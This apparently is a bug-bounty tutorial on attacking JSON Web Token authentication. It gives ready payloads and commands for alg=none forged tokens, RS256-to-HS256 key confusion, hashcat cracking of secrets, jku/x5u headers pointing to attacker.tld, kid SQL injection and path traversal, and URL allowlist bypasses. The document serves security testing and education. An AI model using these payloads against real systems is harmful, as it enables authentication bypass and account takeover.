Quick answer
JWTs (JSON Web Tokens) are signed strings containing claims (user id, role, exp...). If the signature is verified poorly or the algorithm is accepted without restrictions, the attacker can forge tokens. The most exploited classes: alg=none, RS256→HS256 confusion, hashcat-crackable secret, and manipulation of the kid/jku/jwk headers when the server trusts client-controlled values.
Anatomy of a JWT
header.payload.signature
Each part is base64url. Decoded example:
// Header
{ "alg": "HS256", "typ": "JWT" }
// Payload (claims)
{ "sub": "123", "user": "alice", "role": "user", "exp": 1735689600 }
Only the signature guarantees integrity. If the server doesn't verify it correctly, the attacker modifies payload.role to admin and sends the resulting token.
Classic vulns
1. alg=none (CVE-2015-9235)
Change the header to {"alg":"none"} and remove the signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Variants some backends accept: none, None, NONE, nOnE, NoNe. Try them all.
2. RS256 → HS256 confusion (CVE-2016-5431)
The server uses RS256 (asymmetric). If you change alg to HS256 (symmetric) and sign with the RSA public key used as the HMAC secret, some poorly implemented backends verify with the same public key → bypass.
# Obtener clave pública del servidor
openssl s_client -connect target.tld:443 | openssl x509 -pubkey -noout > pubkey.pem
# Forge token con jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem
3. Crackable secret
HS256 JWTs with weak secrets:
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
If you crack the secret, you sign arbitrary tokens. Succeeds in apps with secret = "secret", "jwt_secret", product names, etc.
4. Modify the payload without invalidating the signature
If the server decodes the payload but doesn't verify the signature (poorly implemented), simply change the payload and send. Quick test: change role to admin and one random character in the signature; does it pass?
5. Header injection (jwk, jku, x5u)
Headers that point to the key or the key URL. If the server respects them without an allowlist:
// jwk: clave pública embebida
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<tu_n>", "e": "AQAB" } }
// jku: URL de JWKS
{ "alg": "RS256", "jku": "https://attacker.tld/.well-known/jwks.json" }
// x5u: URL de certificado X.509
{ "alg": "RS256", "x5u": "https://attacker.tld/cert.pem" }
The attacker hosts the JWKS/cert with their public key and signs with their private key. If the server trusts it → total forge.
kid header bypasses
kid (Key ID) usually identifies which key to use. If it's injected into SQL or the filesystem:
kid + SQLi
{ "alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_CONTROLLED_SECRET' -- " }
If the backend does SELECT secret FROM keys WHERE id='<kid>', the injection returns a controlled secret. Sign the token with that secret.
kid + Directory Traversal
{ "alg": "HS256", "kid": "../../../dev/null" }
If the backend reads a filesystem file as the secret, reading /dev/null (empty) → sign with an empty string. Also try files with known content.
JKU URL bypasses
If the server validates the jku partially (allowlist by contains/startsWith instead of URL parsing), try:
https://target.tld/.well-known/jwks.json ← original
https://target.tld@attacker.tld/jwks.json
https://target.tld.attacker.tld/jwks.json
https://attacker.tld/target.tld/jwks.json
https://target.tld#attacker.tld/jwks.json
https://target.tld/.well-known/jwks.json?redirect=attacker.tld
Same bypasses as open redirect. Reusable almost 1:1.
Misc
Expiration abuse
exp: futuro lejano (3000-01-01) → ¿se valida server-side?
exp: removed → ¿el token nunca expira?
nbf: pasado → activo desde antes
If the server doesn't validate exp, the token is eternal even if the app sets one.
Cross-Service Relay
If multiple microservices share the same signing key, a token issued by service A is valid on service B. Look for:
- Microservices that authenticate to each other with JWT.
- Staging environments that use the same key as prod.
- Internal APIs that accept tokens from the public frontend.
Sensitive data in the payload
echo "<JWT_PAYLOAD_BASE64>" | base64 -d | jq .
Look for: passwords, API keys, PII, internal IPs, hidden roles, secrets. The payload is NOT encrypted, only encoded.
Hardcoded tokens in code
- API documentation.
- Frontend JS bundle (search
eyJ, the prefix of most JWTs). - Public GitHub (regex hunting).
- Swagger / OpenAPI specs with examples.
Tooling
jwt_tool.py automates almost everything:
# All Tests mode (probar varios bypasses)
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.tld/api/endpoint" -rh "Authorization: Bearer"
# Tamper mode (modificar claims interactively)
python3 jwt_tool.py <JWT_TOKEN> -T
# Specific exploit (none, kid, jku, etc)
python3 jwt_tool.py <JWT_TOKEN> -X <exploit>
Burp + the JWT Editor extension to manipulate tokens in each request.
Hunting checklist
- Is the token accepted with
alg=none(all variants)? - Is the HMAC secret cracked with rockyou + best64?
- Does RS256 → HS256 confusion work?
- Are
jwk/jku/x5uaccepted pointing to an external domain? - Is
kidused in a SQL query or filesystem read? - Can the payload be modified without invalidating the signature?
- Is
expvalidated server-side, or only looked at on the client? - Is there PII or secrets in the payload?
- Is the token valid on other services/environments?
- Are there example tokens in docs/JS/GitHub?
Related labs
Practice alg=none, secret cracking and header injection on real JWTs: JWT labs.
Practice this in a lab
Jwt
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
Cookie flags — Secure, HttpOnly, SameSite and why they matter
HttpOnly blocks XSS-to-cookie, Secure forces HTTPS, SameSite kills CSRF. How they break and what to report when they're missing on sensitive cookies.
0-click Account Takeover — OTP brute force + Email Normalization
Two separate flaws look minor. Together, they hand you full ATO knowing only the email. Real bounty: €560 and 12 minutes of exploitation.